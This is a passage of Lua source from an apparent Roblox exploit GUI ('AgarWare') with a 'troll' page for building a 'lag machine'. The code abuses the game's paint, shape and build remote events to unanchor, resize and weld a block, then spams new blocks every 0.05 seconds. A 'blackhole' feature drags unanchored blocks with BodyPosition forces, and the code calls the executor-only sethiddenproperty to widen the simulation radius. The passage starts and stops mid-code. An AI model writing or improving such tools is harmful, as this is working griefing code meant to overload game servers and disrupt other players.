============================================================ local function paintAndToxify(block) -- Check current color local currentColor = block.Color -- Check if color and material already correct local colorCorrect = (currentColor.R * 255 >= 1 and currentColor.R * 255 <= 3) and (currentColor.G * 255 >= 1 and currentColor.G * 255 <= 3) and (currentColor.B * 255 >= 0 and currentColor.B * 255 <= 2) local materialCorrect = block.Material == TARGET_MATERIAL if colorCorrect and materialCorrect then return true end local hasSpray = false for _, child in ipairs(block:GetChildren()) do if child.Name == "Spray" then hasSpray = true break end end if hasSpray then return false end local paintEvent = getPaintEvent() if not paintEvent then return false end local targetColor = Color3.fromRGB(2, 2, 1) -- Fire 5 times then move on for i = 1, 5 do if not isSpamming then return false end pcall(function() paintEvent:FireServer(block, Enum.NormalId.Top, block.Position, "both 🤝", targetColor, "toxic", "") end) task.wait(0.05) end return true end -- ============================================================ -- STEP 3: UNANCHOR -- ============================================================ local function unanchorBlock(block) if block:FindFirstChild("Drag") then return true end local paintEvent = getPaintEvent() if not paintEvent then return false end local bottomPos = block.Position - (block.CFrame.UpVector * block.Size.Y/2) local startTime = tick() while tick() - startTime < 2 do if not isSpamming then return false end pcall(function() paintEvent:FireServer(block, Enum.NormalId.Bottom, bottomPos, "material", Color3.fromRGB(2, 2, 1), "anchor", "") end) task.wait(0.2) task.wait(0.05) if block:FindFirstChild("Drag") then return true end end return false end -- ============================================================ -- STEP 4: RESIZE -- ============================================================ local function resizeBlock(block, targetSize) if block.Size.X == targetSize and block.Size.Y == targetSize and block.Size.Z == targetSize then return true end local maxAttempts = 3 for attempt = 1, maxAttempts do if not isSpamming then return false end local shapeTool = getShapeTool() local shapeEvent = getShapeEvent() if not shapeTool or not shapeEvent then if shapeTool and shapeTool.Parent == LocalPlayer.Backpack then LocalPlayer.Character.Humanoid:EquipTool(shapeTool) task.wait(0.2) else return false end shapeEvent = getShapeEvent() if not shapeEvent then return false end end local maxIterations = 40 local iterations = 0 while iterations < maxIterations do if not isSpamming then return false end local currentSize = block.Size if currentSize.X == targetSize and currentSize.Y == targetSize and currentSize.Z == targetSize then return true end iterations = iterations + 1 local pos = block.Position local size = block.Size if currentSize.X ~= targetSize then pcall(function() local rightPos = Vector3.new(pos.X + size.X/2, pos.Y, pos.Z) shapeEvent:FireServer(block, Enum.NormalId.Right, rightPos, currentSize.X < targetSize and "increase" or "decrease") end) task.wait(0.08) end if currentSize.Y ~= targetSize then pcall(function() local topPos = Vector3.new(pos.X, pos.Y + size.Y/2, pos.Z) shapeEvent:FireServer(block, Enum.NormalId.Top, topPos, currentSize.Y < targetSize and "increase" or "decrease") end) task.wait(0.08) end if currentSize.Z ~= targetSize then pcall(function() local backPos = Vector3.new(pos.X, pos.Y, pos.Z - size.Z/2) shapeEvent:FireServer(block, Enum.NormalId.Back, backPos, currentSize.Z < targetSize and "increase" or "decrease") end) task.wait(0.08) end task.wait(0.2) end if attempt < maxAttempts then task.wait(0.3) end end task.wait(0.4) local finalSize = block.Size return finalSize.X == targetSize and finalSize.Y == targetSize and finalSize.Z == targetSize end -- ============================================================ -- STEP 5: SPRAY ALL SIDES -- ============================================================ local function sprayAllSides(block) -- Paint tool should already be equipped before calling this local paintEvent = getPaintEvent() if not paintEvent then return false end local sprayText = string.rep("#", 132) local sides = { {Enum.NormalId.Front, block.Position + (block.CFrame.LookVector * block.Size.Z/2)}, {Enum.NormalId.Right, block.Position + (block.CFrame.RightVector * block.Size.X/2)}, {Enum.NormalId.Back, block.Position - (block.CFrame.LookVector * block.Size.Z/2)}, {Enum.NormalId.Left, block.Position - (block.CFrame.RightVector * block.Size.X/2)}, {Enum.NormalId.Top, block.Position + (block.CFrame.UpVector * block.Size.Y/2)}, {Enum.NormalId.Bottom, block.Position - (block.CFrame.UpVector * block.Size.Y/2)} } local maxTime = tick() + 5 while tick() < maxTime do if not isSpamming then return false end local sprayCount = 0 for _, child in ipairs(block:GetChildren()) do if child.Name == "Spray" then sprayCount = sprayCount + 1 end end if sprayCount >= 6 then return true end for _, sideData in ipairs(sides) do if not isSpamming then return false end pcall(function() paintEvent:FireServer(block, sideData[1], sideData[2], "both 🤝", Color3.fromRGB(2, 2, 1), "spray", sprayText) end) task.wait(0.05) end end return true end -- ============================================================ -- CLEANUP & SPAM CONTROL -- ============================================================ local function cleanupWeld() if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then local hrp = LocalPlayer.Character.HumanoidRootPart if currentWeld and currentWeld.Parent then currentWeld:Destroy() end local foundWeld = hrp:FindFirstChild("BlockSpamWeld") if foundWeld then foundWeld:Destroy() end for _, child in ipairs(hrp:GetChildren()) do if child:IsA("WeldConstraint") then if weldedBlock and (child.Part0 == weldedBlock or child.Part1 == weldedBlock) then child:Destroy() end end end end currentWeld = nil task.wait(0.15) if weldedBlock and weldedBlock:IsDescendantOf(workspace) then weldedBlock.CanCollide = true if blockOriginalPosition then weldedBlock.CFrame = blockOriginalPosition weldedBlock.AssemblyLinearVelocity = Vector3.new(0, 0, 0) weldedBlock.AssemblyAngularVelocity = Vector3.new(0, 0, 0) end end weldedBlock = nil blockOriginalPosition = nil end local function stopSpam() isSpamming = false isProcessing = false BlockSpamButton.Text = TEXT_START spamLoop = nil if _G.BlockAmountTracker and _G.BlockAmountTracker.StopWatching then _G.BlockAmountTracker.StopWatching() end cleanupWeld() if _G.SpamSelectHighlight and SelectedBlockValue.Value and SelectedBlockValue.Value:IsDescendantOf(workspace) then _G.SpamSelectHighlight.Adornee = SelectedBlockValue.Value _G.SpamSelectHighlight.Parent = SelectedBlockValue.Value end local buildUI = getBuildUI() if buildUI then buildUI.Enabled = true end positionBeforeStop = nil if _G.LagMachineWebhook and _G.LagMachineWebhook.OnLagEnded then _G.LagMachineWebhook.OnLagEnded() end end -- ============================================================ -- START SPAM BUILDING -- ============================================================ local function startSpamBuilding(block) if not getBuildTool() then BlockSpamButton.Text = "Build tool not found" task.wait(1) BlockSpamButton.Text = TEXT_START return false end if not getBuildUI() then BlockSpamButton.Text = "Build UI not found" task.wait(1) BlockSpamButton.Text = TEXT_START return false end if not refreshBuildTool() then BlockSpamButton.Text = "Failed to activate" task.wait(1) BlockSpamButton.Text = TEXT_START return false end isSpamming = true BlockSpamButton.Text = TEXT_STOP if _G.LagMachineWebhook and _G.LagMachineWebhook.OnLagStarted then _G.LagMachineWebhook.OnLagStarted() end if _G.SpamSelectHighlight and _G.SpamSelectHighlight.Parent then _G.SpamSelectHighlight.Parent = nil end local buildUI = getBuildUI() if buildUI then buildUI.Enabled = false end if _G.BlockAmountTracker and _G.BlockAmountTracker.StartWatching then _G.BlockAmountTracker.StartWatching() end spamLoop = task.spawn(function() local refreshCounter = 0 while isSpamming do if not getBuildTool() then stopSpam() break end if not block or not block:IsDescendantOf(workspace) or not block:FindFirstChild("Drag") then stopSpam() break end local currentEvent = getBuildEvent() local currentUI = getBuildUI() if currentEvent and currentUI then pcall(function() -- Use blackhole position if enabled, otherwise block position local spawnPosition = _G.BlackholeTargetPosition or block.Position currentEvent:FireServer(block, Enum.NormalId.Top, spawnPosition, currentUI.Button.Text) end) else refreshBuildTool() end refreshCounter = refreshCounter + 1 if refreshCounter >= 50 then refreshBuildTool() refreshCounter = 0 end task.wait(0.05) end end) return true end -- ============================================================ -- PROCESS BLOCK -- ============================================================ local function processBlock(block) if not block or not block:IsDescendantOf(workspace) then return false end if not isValidBlockSize(block) then BlockSpamButton.Text = "Invalid Block!" task.wait(2) BlockSpamButton.Text = TEXT_START return false end local targetSize = LagGroup:FindFirstChild("TargetBlockSize") targetSize = targetSize and targetSize.Value or 1 if not getPaintTool() or not getShapeTool() or not getPaintUI() then BlockSpamButton.Text = "Tools not found" task.wait(1) BlockSpamButton.Text = TEXT_START return false end -- Pause blackhole during processing if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingStarted then _G.LagMachineWebhook.OnProcessingStarted() end -- Set to "Stop Spam" immediately isProcessing = true isSpamming = true BlockSpamButton.Text = TEXT_STOP local previousTool = LocalPlayer.Character:FindFirstChildOfClass("Tool") if not positionBeforeStop then positionBeforeStop = LocalPlayer.Character.HumanoidRootPart.CFrame end local originalPosition = positionBeforeStop blockOriginalPosition = block.CFrame local underBlockPos = block.Position - Vector3.new(0, 20, 0) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(underBlockPos) LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0) local positionLock = RunService.RenderStepped:Connect(function() if block and block:IsDescendantOf(workspace) and LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then local targetPos = block.Position - Vector3.new(0, 20, 0) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(targetPos) LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0) end end) -- Equip PAINT tool only at start local paintTool = getPaintTool() if paintTool and paintTool.Parent == LocalPlayer.Backpack then LocalPlayer.Character.Humanoid:EquipTool(paintTool) task.wait(0.3) end -- Check if block is ALREADY READY TO SPAM -- 1. Has 6 Sprays with # in Label.Text -- 2. Color is RGB(2,2,1) and Material is Neon -- 3. Size is correct local targetSize = LagGroup:FindFirstChild("TargetBlockSize") targetSize = targetSize and targetSize.Value or 1 local correctSprays = 0 for _, child in ipairs(block:GetChildren()) do if child.Name == "Spray" then local label = child:FindFirstChild("Label") if label and label.Text and string.find(label.Text, "#") then correctSprays = correctSprays + 1 end end end local currentColor = block.Color local colorCorrect = (currentColor.R * 255 >= 1 and currentColor.R * 255 <= 3) and (currentColor.G * 255 >= 1 and currentColor.G * 255 <= 3) and (currentColor.B * 255 >= 0 and currentColor.B * 255 <= 2) local materialCorrect = block.Material == TARGET_MATERIAL local sizeCorrect = block.Size.X == targetSize and block.Size.Y == targetSize and block.Size.Z == targetSize -- If EVERYTHING is already correct, skip directly to welding/spamming if correctSprays == 6 and colorCorrect and materialCorrect and sizeCorrect then LocalPlayer.Character.Humanoid:UnequipTools() task.wait(0.1) if previousTool and previousTool.Parent == LocalPlayer.Backpack then LocalPlayer.Character.Humanoid:EquipTool(previousTool) end positionLock:Disconnect() task.wait(0.1) if not isSpamming then LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end BlockSpamButton.Text = TEXT_STOP block.CanCollide = false local finalUnderPos = block.Position - Vector3.new(0, 8, 0) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(finalUnderPos) LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0) task.wait(0.1) local weld = Instance.new("WeldConstraint") weld.Name = "BlockSpamWeld" weld.Part0 = LocalPlayer.Character.HumanoidRootPart weld.Part1 = block weld.Parent = LocalPlayer.Character.HumanoidRootPart task.wait(0.2) LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition -- Resume blackhole after processing (skip path) if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingFinished then _G.LagMachineWebhook.OnProcessingFinished() end currentWeld = weld weldedBlock = block BlockSpamButton.Text = TEXT_STOP if not startSpamBuilding(block) then cleanupWeld() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end return true end -- Otherwise, do the processing steps local skipSpraySteps = (correctSprays == 6) -- STEP 1 - Only if doesn't have 6 sprays with # if not skipSpraySteps then if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end -- Only remove sprays if there ARE sprays local hasAnySpray = false for _, child in ipairs(block:GetChildren()) do if child.Name == "Spray" then hasAnySpray = true break end end if hasAnySpray and not removeAllSprays(block) then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition BlockSpamButton.Text = "Failed spray removal" task.wait(2) BlockSpamButton.Text = TEXT_START return false end end -- STEP 2 if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end if not removeAllSprays(block) then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition BlockSpamButton.Text = "Failed spray removal" task.wait(2) BlockSpamButton.Text = TEXT_START return false end -- STEP 2 if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end if not paintAndToxify(block) then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition BlockSpamButton.Text = "Failed paint" task.wait(2) BlockSpamButton.Text = TEXT_START return false end -- STEP 3 if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end if not unanchorBlock(block) then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition BlockSpamButton.Text = "Failed unanchor" task.wait(2) BlockSpamButton.Text = TEXT_START return false end -- Equip SHAPE tool for resizing if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end local shapeTool = getShapeTool() if shapeTool and shapeTool.Parent == LocalPlayer.Backpack then LocalPlayer.Character.Humanoid:EquipTool(shapeTool) task.wait(0.2) end -- STEP 4 if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end local resizeSuccess = resizeBlock(block, targetSize) -- Re-equip PAINT tool for spraying if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end local paintTool = getPaintTool() if paintTool and paintTool.Parent == LocalPlayer.Backpack then LocalPlayer.Character.Humanoid:EquipTool(paintTool) task.wait(0.2) end -- STEP 5 - Only if sprays weren't already correct if not skipSpraySteps then if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end task.wait(0.1) sprayAllSides(block) end if not resizeSuccess then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition BlockSpamButton.Text = "Resize failed!" task.wait(2) BlockSpamButton.Text = TEXT_START return false end if not isSpamming then positionLock:Disconnect() LocalPlayer.Character.Humanoid:UnequipTools() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end -- Unequip all tools and restore original tool before welding LocalPlayer.Character.Humanoid:UnequipTools() task.wait(0.1) -- Restore previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then LocalPlayer.Character.Humanoid:EquipTool(previousTool) end positionLock:Disconnect() task.wait(0.1) if not isSpamming then LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end BlockSpamButton.Text = TEXT_STOP block.CanCollide = false local finalUnderPos = block.Position - Vector3.new(0, 8, 0) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(finalUnderPos) LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0) task.wait(0.1) local weld = Instance.new("WeldConstraint") weld.Name = "BlockSpamWeld" weld.Part0 = LocalPlayer.Character.HumanoidRootPart weld.Part1 = block weld.Parent = LocalPlayer.Character.HumanoidRootPart task.wait(0.2) LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition -- Resume blackhole after processing if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingFinished then _G.LagMachineWebhook.OnProcessingFinished() end currentWeld = weld weldedBlock = block BlockSpamButton.Text = TEXT_STOP if not startSpamBuilding(block) then cleanupWeld() LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition return false end return true end -- ============================================================ -- START SPAM -- ============================================================ local function startSpam() local selectedBlock = SelectedBlockValue.Value if not selectedBlock or not selectedBlock:IsDescendantOf(workspace) then BlockSpamButton.Text = TEXT_NO_BLOCK task.wait(1) BlockSpamButton.Text = TEXT_START return end isProcessing = true BlockSpamButton.Text = TEXT_PROCESSING if not processBlock(selectedBlock) then BlockSpamButton.Text = "Failed, Press Again." task.wait(1) isProcessing = false BlockSpamButton.Text = TEXT_START end end -- ============================================================ -- UI -- ============================================================ BlockSpamButton.MouseEnter:Connect(function() if not isProcessing and not isSpamming then if not SelectedBlockValue.Value or not SelectedBlockValue.Value:IsDescendantOf(workspace) then BlockSpamButton.Text = TEXT_NO_BLOCK end end end) BlockSpamButton.MouseLeave:Connect(function() if not isProcessing and not isSpamming and BlockSpamButton.Text == TEXT_NO_BLOCK then BlockSpamButton.Text = TEXT_START end end) BlockSpamButton.MouseButton1Click:Connect(function() if isSpamming then stopSpam() else startSpam() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) and isSpamming then stopSpam() end end) end; task.spawn(C_1b4); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger.BlockSizeScript local function C_1b9() local script = G2L["1b9"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local BlockSizeChanger = script.Parent local BlockSizeRow = BlockSizeChanger.Parent local LagGroup = BlockSizeRow.Parent -- Store target size in LagGroup so StartSpam can access it local TargetSizeValue = LagGroup:FindFirstChild("TargetBlockSize") or Instance.new("IntValue") TargetSizeValue.Name = "TargetBlockSize" TargetSizeValue.Parent = LagGroup TargetSizeValue.Value = 1 -- Default -- ============================================================ -- VALIDATE INPUT -- ============================================================ local function validateInput(input) -- Remove any non-digit characters local cleaned = input:gsub("%D", "") -- If empty, default to 1 if cleaned == "" then cleaned = "1" end -- Convert to number local num = tonumber(cleaned) -- Ensure it's between 1 and 6 if num then if num < 1 then num = 1 elseif num > 6 then num = 6 end else num = 1 end return num end -- ============================================================ -- UPDATE TARGET SIZE -- ============================================================ local function updateTargetSize() local input = BlockSizeChanger.Text local validSize = validateInput(input) -- Update the value TargetSizeValue.Value = validSize -- Update textbox to show valid value BlockSizeChanger.Text = tostring(validSize) print("[BlockSize] Target size set to:", validSize) end -- ============================================================ -- INPUT EVENTS -- ============================================================ -- When user finishes typing (presses Enter or unfocuses) BlockSizeChanger.FocusLost:Connect(function(enterPressed) updateTargetSize() end) -- Prevent decimals while typing BlockSizeChanger:GetPropertyChangedSignal("Text"):Connect(function() local text = BlockSizeChanger.Text -- Remove decimals and non-digits immediately local cleaned = text:gsub("[^%d]", "") if cleaned ~= text then BlockSizeChanger.Text = cleaned end end) -- ============================================================ -- INITIALIZE -- ============================================================ -- Set initial value updateTargetSize() print("[BlockSize] Size changer loaded - Default: 1") end; task.spawn(C_1b9); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView.BlockAmountViewScript local function C_1bd() local script = G2L["1bd"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local BlockAmountView = script.Parent local BlockAmountRow = BlockAmountView.Parent local LagGroup = BlockAmountRow.Parent -- Track spam blocks count local spamBlockCount = 0 -- ============================================================ -- UPDATE DISPLAY -- ============================================================ local function updateDisplay() BlockAmountView.Text = "Block Count: " .. spamBlockCount end -- ============================================================ -- MARK BLOCK AS SPAM AND TRACK IT -- ============================================================ local function markAndTrackBlock(block) if not block or not block:IsA("BasePart") then return end -- Check if already marked if block:GetAttribute("IsSpamBlock") then return end -- Mark this block as a spam block block:SetAttribute("IsSpamBlock", true) spamBlockCount = spamBlockCount + 1 updateDisplay() -- Watch for deletion block.AncestryChanged:Connect(function() if not block:IsDescendantOf(workspace) then if block:GetAttribute("IsSpamBlock") then spamBlockCount = spamBlockCount - 1 if spamBlockCount < 0 then spamBlockCount = 0 end updateDisplay() end end end) end -- ============================================================ -- WATCH SPAM BLOCKS -- ============================================================ local activeWatcher = nil local function startWatching() if activeWatcher then return -- Already watching end local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name) if not playerFolder then warn("[BlockAmount] Player brick folder not found") return end print("[BlockAmount] Started watching for spam blocks") activeWatcher = playerFolder.ChildAdded:Connect(function(child) if child.Name == "Brick" and child:IsA("BasePart") then -- Mark and track this spam block markAndTrackBlock(child) end end) end local function stopWatching() if activeWatcher then activeWatcher:Disconnect() activeWatcher = nil print("[BlockAmount] Stopped watching for spam blocks") end end -- ============================================================ -- GLOBAL API FOR BLOCKSPAM SCRIPT -- ============================================================ _G.BlockAmountTracker = { StartWatching = startWatching, StopWatching = stopWatching, Reset = function() spamBlockCount = 0 updateDisplay() end } -- ============================================================ -- INITIALIZE -- ============================================================ updateDisplay() print("[BlockAmount] Block counter initialized - waiting for spam to start") end; task.spawn(C_1bd); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagScript local function C_1bf() local script = G2L["1bf"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local ReduceLagRow = script.Parent local ReduceLagTickBox = ReduceLagRow:WaitForChild("ReduceLagTickBox") local LagGroup = ReduceLagRow.Parent local function getAccentColor() local a = LagGroup:FindFirstChild("LagAccentColor") return a and a.BackgroundColor3 or Color3.new(1, 1, 1) end -- State local isEnabled = false local trackedBlocks = {} -- Store original properties -- ============================================================ -- DISABLE EFFECTS ON A BLOCK -- ============================================================ local function disableEffects(block) if not block or not block:IsA("BasePart") then return end if not block:GetAttribute("IsSpamBlock") then return end -- Store original properties (don't skip if already tracked - force update) if not trackedBlocks[block] then trackedBlocks[block] = { Material = block.Material, CastShadow = block.CastShadow, Sprays = {}, Light = nil } end -- FORCE disable Material (Neon -> Air) if block.Material == Enum.Material.Neon then trackedBlocks[block].Material = Enum.Material.Neon end block.Material = Enum.Material.Air -- FORCE disable CastShadow block.CastShadow = false -- FORCE disable all Spray effects for _, child in ipairs(block:GetChildren()) do if child.Name == "Spray" then -- Handle Texture, Decal, or SurfaceGui if child:IsA("Texture") or child:IsA("Decal") or child:IsA("SurfaceGui") then if child.Enabled then trackedBlocks[block].Sprays[child] = true end child.Enabled = false end end end -- FORCE disable Light local light = block:FindFirstChild("Light") if light and light:IsA("Light") then if light.Enabled then trackedBlocks[block].Light = true end light.Enabled = false end end -- ============================================================ -- RESTORE EFFECTS ON A BLOCK -- ============================================================ local function restoreEffects(block) if not block or not block:IsA("BasePart") then return end if not block:GetAttribute("IsSpamBlock") then return end local original = trackedBlocks[block] -- FORCE restore Material (even if not tracked) if block.Material == Enum.Material.Air then if original and original.Material then block.Material = original.Material else block.Material = Enum.Material.Neon -- Default to Neon if not tracked end end -- FORCE restore CastShadow if original and original.CastShadow ~= nil then block.CastShadow = original.CastShadow else block.CastShadow = true -- Default to true end -- FORCE restore Sprays for _, child in ipairs(block:GetChildren()) do if child.Name == "Spray" then if child:IsA("Texture") or child:IsA("Decal") or child:IsA("SurfaceGui") then if original and original.Sprays[child] ~= nil then child.Enabled = original.Sprays[child] else child.Enabled = true -- Default to enabled end end end end -- FORCE restore Light local light = block:FindFirstChild("Light") if light and light:IsA("Light") then if original and original.Light ~= nil then light.Enabled = original.Light else light.Enabled = true -- Default to enabled end end -- Remove from tracking if original then trackedBlocks[block] = nil end end -- ============================================================ -- PROCESS ALL EXISTING SPAM BLOCKS -- ============================================================ local function processAllBlocks() local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name) if not playerFolder then return end for _, block in ipairs(playerFolder:GetChildren()) do if block.Name == "Brick" and block:GetAttribute("IsSpamBlock") then if isEnabled then disableEffects(block) else restoreEffects(block) end end end end -- ============================================================ -- WATCH FOR NEW SPAM BLOCKS -- ============================================================ local blockAddedConnection local function startWatching() if blockAddedConnection then blockAddedConnection:Disconnect() end local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name) if not playerFolder then return end blockAddedConnection = playerFolder.ChildAdded:Connect(function(child) if child.Name == "Brick" then -- Wait for IsSpamBlock attribute to be set task.wait(0.1) if child:GetAttribute("IsSpamBlock") then if isEnabled then -- Wait a bit more for sprays/light to be added task.wait(0.2) -- FORCE disable effects on new block disableEffects(child) print("[ReduceLag] Applied to new block:", child) end end end end) end local function stopWatching() if blockAddedConnection then blockAddedConnection:Disconnect() blockAddedConnection = nil end end -- ============================================================ -- WATCH FOR BLOCK DELETION -- ============================================================ local function watchBlockDeletion(block) block.AncestryChanged:Connect(function() if not block:IsDescendantOf(workspace) then -- Block deleted, remove from tracking trackedBlocks[block] = nil end end) end -- ============================================================ -- ENABLE/DISABLE -- ============================================================ local function enable() isEnabled = true ReduceLagTickBox.BackgroundColor3 = getAccentColor() -- Process all existing blocks processAllBlocks() print("[ReduceLag] Enabled - effects disabled on spam blocks") end local function disable() isEnabled = false ReduceLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Restore all blocks processAllBlocks() print("[ReduceLag] Disabled - effects restored on spam blocks") end -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() if isEnabled then disable() else enable() end end -- ============================================================ -- CLICK HANDLER -- ============================================================ ReduceLagTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- WATCH FOR NEW BLOCKS ALWAYS (to track deletions) -- ============================================================ local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name) if playerFolder then playerFolder.ChildAdded:Connect(function(child) if child.Name == "Brick" and child:GetAttribute("IsSpamBlock") then watchBlockDeletion(child) end end) end -- ============================================================ -- INITIALIZE -- ============================================================ ReduceLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Start watching for new blocks immediately (even when disabled) startWatching() print("[ReduceLag] Script loaded - OFF by default") end; task.spawn(C_1bf); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagScript local function C_1c3() local script = G2L["1c3"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local RunService = game:GetService("RunService") local BlackholeLagRow = script.Parent local LagGroup = BlackholeLagRow.Parent local BlackholeLagTickBox = BlackholeLagRow:WaitForChild("BlackholeLagTickBox") -- Get TP button local TPBlackholeRow = LagGroup:FindFirstChild("TPBlackholeRow") local TPBlackholeButton = TPBlackholeRow and TPBlackholeRow:FindFirstChild("TPBlackholeButton") -- Get Orbit toggle and speed changer local OrbitBlackholeRow = LagGroup:FindFirstChild("OrbitBlackholeRow") local OrbitBlackholeTickBox = OrbitBlackholeRow and OrbitBlackholeRow:FindFirstChild("OrbitBlackholeTickBox") local OrbitBlackholeChanger = OrbitBlackholeRow and OrbitBlackholeRow:FindFirstChild("OrbitBlackholeChanger") -- State local isEnabled = false local bodyPositions = {} local monitorConnection = nil local sizeWatchConnection = nil local handlesPart = nil local dragConnections = {} local targetPosition = nil local lastBlackholePosition = nil -- Remember last position local isOrbiting = false local orbitSpeed = 10 -- Default speed local isPaused = false -- Pause during block processing local PICKUP_RADIUS = 2000 local UserInputService = game:GetService("UserInputService") local function getAccentColor() local a = LagGroup:FindFirstChild("LagAccentColor") return a and a.BackgroundColor3 or Color3.new(1, 1, 1) end -- Get current target size local function getTargetSize() local targetSizeValue = LagGroup:FindFirstChild("TargetBlockSize") return targetSizeValue and targetSizeValue.Value or 1 end -- Update handles part size local function updateHandlesSize() if not handlesPart then return end local targetSize = getTargetSize() local handleSize = targetSize + 1 handlesPart.Size = Vector3.new(handleSize, handleSize, handleSize) end -- Set replication focus and simulation radius LocalPlayer.ReplicationFocus = workspace pcall(function() sethiddenproperty(LocalPlayer, "SimulationRadius", PICKUP_RADIUS) end) -- Function to check if part is truly unanchored local function isTrulyUnanchored(part) return not part:IsGrounded() end -- Function to retain block properties local function retainBlock(block) local originalProps = { canCollide = block.CanCollide, canTouch = block.CanTouch, customPhysics = block.CustomPhysicalProperties } block.CustomPhysicalProperties = PhysicalProperties.new(0.01, 0, 0, 0, 0) block.CanCollide = false block.CanTouch = false return originalProps end -- Function to add bodyposition to block local function addBodyPosition(block) if bodyPositions[block] then return end local originalProps = retainBlock(block) local mass = block:GetMass() local bp = Instance.new("BodyPosition") bp.Name = "BlackholeBP" bp.P = mass / 0.64e-5 bp.D = mass / 0.64e-3 bp.MaxForce = Vector3.new(mass / 0.64e-6, mass / 0.64e-6, mass / 0.64e-6) bp.Parent = block bodyPositions[block] = {bp = bp, props = originalProps} end -- Function to check if block is a lag machine block local function isLagMachineBlock(obj) if not obj:IsA("BasePart") and not obj:IsA("UnionOperation") then return false end if obj.Anchored then return false end -- Skip player characters for _, player in ipairs(Players:GetPlayers()) do if player.Character and obj:IsDescendantOf(player.Character) then return false end end -- Skip the selected block (check if it has BlockSpamWeld connecting to player) local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if hrp then for _, child in ipairs(hrp:GetChildren()) do if child:IsA("WeldConstraint") and child.Name == "BlockSpamWeld" then if child.Part0 == obj or child.Part1 == obj then return false -- This is the selected/welded block, skip it end end end end -- Check if unanchored and has Drag (lag machine blocks) if not obj:FindFirstChild("Drag") then return false end if not isTrulyUnanchored(obj) then return false end return true end -- Function to check and add block local function checkAndAddBlock(obj) if isLagMachineBlock(obj) and not bodyPositions[obj] then addBodyPosition(obj) end end -- Create handles part with custom drag local function createHandles() local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if not hrp then return end local targetSize = getTargetSize() local handleSize = targetSize + 1 -- Determine spawn position local spawnPosition if lastBlackholePosition then -- Use last position if we had one 